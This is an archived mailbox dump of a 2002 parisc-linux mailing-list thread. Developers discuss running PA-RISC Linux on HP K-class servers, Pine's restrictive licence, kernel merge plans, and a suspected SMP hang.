	for <parisc-linux@lists.parisc-linux.org>; Mon, 15 Jul 2002 15:24:57 +0200 (CEST)
Original-Received: by postamt1.charite.de (Postfix, from userid 7945)
	id 19D1C6340F; Mon, 15 Jul 2002 15:24:57 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <20020715135550.H27706@parcelfarce.linux.theplanet.co.uk>
User-Agent: Mutt/1.4i
X-message-flag: Outlook? Viral infections & bugs for the foreseeable future
X-Virus-Scanned: by AMaViS snapshot-20020531
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15469

Am 15.07.2002 um 13:55:50 +0100 schrieb Matthew Wilcox folgendes:

> pine is `special'.  That's in the sense of `retarded'.  the license
> doesn't permit redistribution of modified versions, so debian distributes
> (in non-free) the source code and patches.  you then build it yourself.

Awesome. I notice that all that ever come from UW is crap:

* UW-imap: bugs galore
* UW-pine: strage license
* WUftp: bugs galore

These guys should not be let anywhere near a computer, at least not to
write software.

-- 
Ralf Hildebrandt (Im Auftrag des Referat V A)   Ralf.Hildebrandt@charite.de
Charite Campus Virchow-Klinikum                 Tel.  +49 (0)30-450 570-155
Referat V A - Kommunikationsnetze -             Fax.  +49 (0)30-450 570-916
Die kuerzesten Computerwitze:
1) Muesste laufen.



From - Thu Nov 08 21:23:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stephan Trajkoff <stephan@itp.bg>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] STI framebuffer and PINE
Date: Mon, 15 Jul 2002 16:27:05 +0300
Lines: 16
Approved: news@gmane.org
Message-ID: <3D32CDA9.2050403@itp.bg>
References: <20020714091619.B1E35483A@dsl2.external.hp.com> <20020715142028.J27706@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621512 10818 80.91.229.3 (22 Nov 2014 01:58:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:32 +0000 (UTC)
To: Matthew Wilcox <willy@debian.org>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul 15 07:26:07 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ns.itp.bg (itp.solo.bg [212.72.196.10])
	by dsl2.external.hp.com (Postfix) with SMTP id 607BE4882
	for <parisc-linux@lists.parisc-linux.org>; Mon, 15 Jul 2002 07:26:05 -0600 (MDT)
Original-Received: (qmail 21995 invoked from network); 15 Jul 2002 13:27:35 -0000
Original-Received: from softdnserror (HELO itp.bg) (212.72.204.2)
  by softdnserror with SMTP; 15 Jul 2002 13:27:34 -0000
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.0) Gecko/20020605
X-Accept-Language: en-us, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15470

My K class server works perfect with 240 users for mail.
this server has apache, squid, pine,qmail
4 cpu with 120mhz, 512mb ramm, 18GB HDD, what more???
my linux in my ISP is with P3 800Mhz, 256mb ram, 20GB HDD wtih apache, 
mysql, radius, routing, shapers.
Why did you call me lunatic???
Do you think that other servers in Bulgaria are P4 1.xGhz or palomino 
1.xGhz, the average is 500-1000Mhz celerons or p3
The old server was IBM7248-120, powerpc 133mhz, 32mb ram, 1.2GB SCSI HDD 
and hosted 240 users
It is bulgaria man, it is the reality:)
Come here and see motor scooter 50cc runing at 80km/h:)))





From - Thu Nov 08 21:23:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stephan Trajkoff <stephan@itp.bg>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] STI framebuffer and PINE
Date: Mon, 15 Jul 2002 16:28:04 +0300
Lines: 3
Approved: news@gmane.org
Message-ID: <3D32CDE4.6060509@itp.bg>
References: <20020714065104.DF333484C@dsl2.external.hp.com> <20020714081241.GC14636@charite.de> <20020715135550.H27706@parcelfarce.linux.theplanet.co.uk> <20020715132456.GP12241@charite.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621512 10820 80.91.229.3 (22 Nov 2014 01:58:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:32 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Ralf Hildebrandt <Ralf.Hildebrandt@charite.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul 15 07:27:01 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ns.itp.bg (itp.solo.bg [212.72.196.10])
	by dsl2.external.hp.com (Postfix) with SMTP id 2C0D84882
	for <parisc-linux@lists.parisc-linux.org>; Mon, 15 Jul 2002 07:27:01 -0600 (MDT)
Original-Received: (qmail 22009 invoked from network); 15 Jul 2002 13:28:33 -0000
Original-Received: from softdnserror (HELO itp.bg) (212.72.204.2)
  by softdnserror with SMTP; 15 Jul 2002 13:28:33 -0000
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.0) Gecko/20020605
X-Accept-Language: en-us, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15471

In Bulgaria there is no licences :))) for UNIX software...



From - Thu Nov 08 21:23:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Re: [parisc-linux] STI framebuffer and PINE
Date: 15 Jul 2002 15:37:59 +0100
Lines: 14
Approved: news@gmane.org
Message-ID: <1026743879.30202.5.camel@irongate.swansea.linux.org.uk>
References: <20020714091619.B1E35483A@dsl2.external.hp.com> 
	<20020715142028.J27706@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621513 10824 80.91.229.3 (22 Nov 2014 01:58:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:33 +0000 (UTC)
Cc: Stephan Trajkoff <stephan@itp.bg>, Ralf.Hildebrandt@charite.de,
	parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul 15 07:29:54 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from irongate.swansea.linux.org.uk (pc2-cwma1-5-cust12.swa.cable.ntl.com [80.5.121.12])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1C1444890
	for <parisc-linux@lists.parisc-linux.org>; Mon, 15 Jul 2002 07:29:54 -0600 (MDT)
Original-Received: from irongate.swansea.linux.org.uk (localhost [127.0.0.1])
	by irongate.swansea.linux.org.uk (8.12.2/8.11.6) with ESMTP id g6FEc2u6030453;
	Mon, 15 Jul 2002 15:38:02 +0100
Original-Received: (from alan@localhost)
	by irongate.swansea.linux.org.uk (8.12.2/8.12.2/Submit) id g6FEbx8C030451;
	Mon, 15 Jul 2002 15:37:59 +0100
X-Authentication-Warning: irongate.swansea.linux.org.uk: alan set sender to alan@lxorguk.ukuu.org.uk using -f
In-Reply-To: <20020715142028.J27706@parcelfarce.linux.theplanet.co.uk>
X-Mailer: Ximian Evolution 1.0.3 (1.0.3-6) 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15472

On Mon, 2002-07-15 at 14:20, Matthew Wilcox wrote:
> On Sun, Jul 14, 2002 at 12:17:46PM +0300, Stephan Trajkoff wrote:
> > my clients want pine, not mutt
> 
> i have to say i think you're a complete lunatic for wanting to support
> `clients' on a K class running PA/Linux right now.

Someone has to go first. I ran www.linux.org.uk on the first ever Mac68K
Linux box and that helped no end in the stabilisation process.

[ObOnTopic] What is the state of the 2.4 pa-risc code in terms of rate
of change now. Would it be a good time to use -ac as a real sync up ?



From - Thu Nov 08 21:23:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ralf Hildebrandt <Ralf.Hildebrandt@charite.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] STI framebuffer and PINE
Date: Mon, 15 Jul 2002 15:31:36 +0200
Lines: 33
Approved: news@gmane.org
Message-ID: <20020715133136.GR12241@charite.de>
References: <20020714091619.B1E35483A@dsl2.external.hp.com> <20020715142028.J27706@parcelfarce.linux.theplanet.co.uk> <3D32CDA9.2050403@itp.bg>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621513 10826 80.91.229.3 (22 Nov 2014 01:58:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:33 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>,
	parisc-linux@lists.parisc-linux.org
To: Stephan Trajkoff <stephan@itp.bg>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul 15 07:31:40 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hauptpostamt.charite.de (hauptpostamt.charite.de [193.175.66.220])
	by dsl2.external.hp.com (Postfix) with ESMTP id 72A3F4895
	for <parisc-linux@lists.parisc-linux.org>; Mon, 15 Jul 2002 07:31:39 -0600 (MDT)
Original-Received: from postamt1.charite.de (postamt1.charite.de [193.175.66.246])
	by hauptpostamt.charite.de (Postfix) with ESMTP
	id 948B615C005; Mon, 15 Jul 2002 15:31:37 +0200 (CEST)
Original-Received: by postamt1.charite.de (Postfix, from userid 7945)
	id DAD21633A8; Mon, 15 Jul 2002 15:31:36 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <3D32CDA9.2050403@itp.bg>
User-Agent: Mutt/1.4i
X-message-flag: Outlook? Viral infections & bugs for the foreseeable future
X-Virus-Scanned: by AMaViS snapshot-20020531
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15473

On Mon, Jul 15, 2002 at 04:27:05PM +0300, Stephan Trajkoff wrote:

> My K class server works perfect with 240 users for mail.
> this server has apache, squid, pine,qmail

Quite nice.

> 4 cpu with 120mhz, 512mb ramm, 18GB HDD, what more???

* squid doesn't actually use more than one processor (state machine!)
* qmail is I/O bound.

Only a new Apache2 would benefit from a multi processor box.
If you replace qmail with postfix, you might speed things up a bit.

> my linux in my ISP is with P3 800Mhz, 256mb ram, 20GB HDD wtih apache, 
> mysql, radius, routing, shapers.
> Why did you call me lunatic???

Because Linux isn't really as stable on HPPA as on say Alpha or x386!

> Come here and see motor scooter 50cc runing at 80km/h:)))

I bet it's against the law :)

-- 
Ralf Hildebrandt (Im Auftrag des Referat V A)   Ralf.Hildebrandt@charite.de
Charite Campus Virchow-Klinikum                 Tel.  +49 (0)30-450 570-155
Referat V A - Kommunikationsnetze -             Fax.  +49 (0)30-450 570-916
Why you can't find your system administrators:
Went to Stop&Go to get ANOTHER case of insert favorite caffinated beverage here 



From - Thu Nov 08 21:23:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ralf Hildebrandt <Ralf.Hildebrandt@charite.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] STI framebuffer and PINE
Date: Mon, 15 Jul 2002 15:33:12 +0200
Lines: 21
Approved: news@gmane.org
Message-ID: <20020715133312.GS12241@charite.de>
References: <20020714091619.B1E35483A@dsl2.external.hp.com> <20020715142028.J27706@parcelfarce.linux.theplanet.co.uk> <1026743879.30202.5.camel@irongate.swansea.linux.org.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-15
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621513 10830 80.91.229.3 (22 Nov 2014 01:58:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:33 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul 15 07:33:15 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hauptpostamt.charite.de (hauptpostamt.charite.de [193.175.66.220])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0EC204898
	for <parisc-linux@lists.parisc-linux.org>; Mon, 15 Jul 2002 07:33:15 -0600 (MDT)
Original-Received: from postamt1.charite.de (postamt1.charite.de [193.175.66.246])
	by hauptpostamt.charite.de (Postfix) with ESMTP id 0946215C010
	for <parisc-linux@lists.parisc-linux.org>; Mon, 15 Jul 2002 15:33:13 +0200 (CEST)
Original-Received: by postamt1.charite.de (Postfix, from userid 7945)
	id 04ABF633A8; Mon, 15 Jul 2002 15:33:12 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <1026743879.30202.5.camel@irongate.swansea.linux.org.uk>
User-Agent: Mutt/1.4i
X-message-flag: Outlook? Viral infections & bugs for the foreseeable future
X-Virus-Scanned: by AMaViS snapshot-20020531
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15474

Am 15.07.2002 um 15:37:59 +0100 schrieb Alan Cox folgendes:

> Someone has to go first. I ran www.linux.org.uk on the first ever Mac68K
> Linux box and that helped no end in the stabilisation process.
> 
> [ObOnTopic] What is the state of the 2.4 pa-risc code in terms of rate
> of change now. Would it be a good time to use -ac as a real sync up ?

Whoa! What an honor!
I was already wondering how to get all that pa5x stuff back into the
mainline 2.4.x kernel.

-- 
Ralf Hildebrandt (Im Auftrag des Referat V A)   Ralf.Hildebrandt@charite.de
Charite Campus Virchow-Klinikum                 Tel.  +49 (0)30-450 570-155
Referat V A - Kommunikationsnetze -             Fax.  +49 (0)30-450 570-916
"If it is blue and winding, it is biology. If it stinks, it is chemistry. If
it doesnt work, it is physics. If it is unintelligible, it is mathematics.
If it is all of above, it must has been made by M$."      -- Holger Dittmann



From - Thu Nov 08 21:23:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Re: [parisc-linux] STI framebuffer and PINE
Date: Mon, 15 Jul 2002 14:39:09 +0100
Lines: 31
Approved: news@gmane.org
Message-ID: <20020715143909.K27706@parcelfarce.linux.theplanet.co.uk>
References: <20020714091619.B1E35483A@dsl2.external.hp.com> <20020715142028.J27706@parcelfarce.linux.theplanet.co.uk> <1026743879.30202.5.camel@irongate.swansea.linux.org.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621514 10833 80.91.229.3 (22 Nov 2014 01:58:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:34 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>,
	Stephan Trajkoff <stephan@itp.bg>, Ralf.Hildebrandt@charite.de,
	parisc-linux@lists.parisc-linux.org
To: Alan Cox <alan@lxorguk.ukuu.org.uk>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul 15 07:39:10 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 147AF4895
	for <parisc-linux@lists.parisc-linux.org>; Mon, 15 Jul 2002 07:39:10 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 17U64D-0008Ud-00; Mon, 15 Jul 2002 14:39:09 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <1026743879.30202.5.camel@irongate.swansea.linux.org.uk>; from alan@lxorguk.ukuu.org.uk on Mon, Jul 15, 2002 at 03:37:59PM +0100
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15475

On Mon, Jul 15, 2002 at 03:37:59PM +0100, Alan Cox wrote:
> On Mon, 2002-07-15 at 14:20, Matthew Wilcox wrote:
> > i have to say i think you're a complete lunatic for wanting to support
> > `clients' on a K class running PA/Linux right now.
> 
> Someone has to go first. I ran www.linux.org.uk on the first ever Mac68K
> Linux box and that helped no end in the stabilisation process.

Certainly, and I'm aware of people using PA/Linux in production environments
today.  But the K class hardware is not well supported.  Lan and Console
are the only two devices which really work; the SCSI cards don't use the
normal NCR/Symbios chips but a proprietary chip instead.

Hmm.. anyone want to do a `testimonials' section on the website which
lists peoples (successful ;-) experiences with using PA/Linux in
production environments?

> [ObOnTopic] What is the state of the 2.4 pa-risc code in terms of rate
> of change now. Would it be a good time to use -ac as a real sync up ?

rate of change is fairly low; i attempted to do a merge with marcelo
during early 2.4.19 dev, but someone sent some conflicting patches in
first, i tripped over my own feet trying to use bitkeeper and ran out
of motivation to fix conflicts myself.

at OLS we decided to concentrate on 2.5 RSN.  it's more important to
work on that than keep trying to push bits into 2.4.

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:23:39 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stephan Trajkoff <stephan@itp.bg>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] K class, powerpc and stability
Date: Mon, 15 Jul 2002 16:44:30 +0300
Lines: 12
Approved: news@gmane.org
Message-ID: <3D32D1BE.5020707@itp.bg>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621514 10836 80.91.229.3 (22 Nov 2014 01:58:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:34 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul 15 07:43:25 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ns.itp.bg (itp.solo.bg [212.72.196.10])
	by dsl2.external.hp.com (Postfix) with SMTP id D59444856
	for <parisc-linux@lists.parisc-linux.org>; Mon, 15 Jul 2002 07:43:23 -0600 (MDT)
Original-Received: (qmail 22545 invoked from network); 15 Jul 2002 13:44:59 -0000
Original-Received: from softdnserror (HELO itp.bg) (212.72.204.2)
  by softdnserror with SMTP; 15 Jul 2002 13:44:58 -0000
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.0) Gecko/20020605
X-Accept-Language: en-us, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15476

I think that HPPA run better than AIX 4.1.4 on PowerPC 7248-120:)
my K class servers are perfect:)))
Btw, which K class, K200,K210 or K3xx?
My K class has STI framebuffer, lasi i82596, scsi ncr53c720 running with 
zalon driver
The problem is that when I torming my machine with compilation my 'ps 
ax' and 'w' hangs...:(((
But for 2 weeks no one time my machine hangs??!?!?!
What you will say for this?!?!?




From - Thu Nov 08 21:23:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ralf Hildebrandt <Ralf.Hildebrandt@charite.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] K class, powerpc and stability
Date: Mon, 15 Jul 2002 15:48:23 +0200
Lines: 22
Approved: news@gmane.org
Message-ID: <20020715134823.GW12241@charite.de>
References: <3D32D1BE.5020707@itp.bg>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621514 10842 80.91.229.3 (22 Nov 2014 01:58:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:34 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul 15 07:48:25 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hauptpostamt.charite.de (hauptpostamt.charite.de [193.175.66.220])
	by dsl2.external.hp.com (Postfix) with ESMTP id 66317487A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 15 Jul 2002 07:48:25 -0600 (MDT)
Original-Received: from postamt1.charite.de (postamt1.charite.de [193.175.66.246])
	by hauptpostamt.charite.de (Postfix) with ESMTP id A98F815C00A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 15 Jul 2002 15:48:23 +0200 (CEST)
Original-Received: by postamt1.charite.de (Postfix, from userid 7945)
	id A38EC633A8; Mon, 15 Jul 2002 15:48:23 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <3D32D1BE.5020707@itp.bg>
User-Agent: Mutt/1.4i
X-message-flag: Outlook? Viral infections & bugs for the foreseeable future
X-Virus-Scanned: by AMaViS snapshot-20020531
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15477

On Mon, Jul 15, 2002 at 04:44:30PM +0300, Stephan Trajkoff wrote:

> I think that HPPA run better than AIX 4.1.4 on PowerPC 7248-120:)
> my K class servers are perfect:)))
> Btw, which K class, K200,K210 or K3xx?
> My K class has STI framebuffer, lasi i82596, scsi ncr53c720 running with 
> zalon driver
> The problem is that when I torming my machine with compilation my 'ps 
> ax' and 'w' hangs...:(((
> But for 2 weeks no one time my machine hangs??!?!?!

I think this is the known SMP problem.

-- 
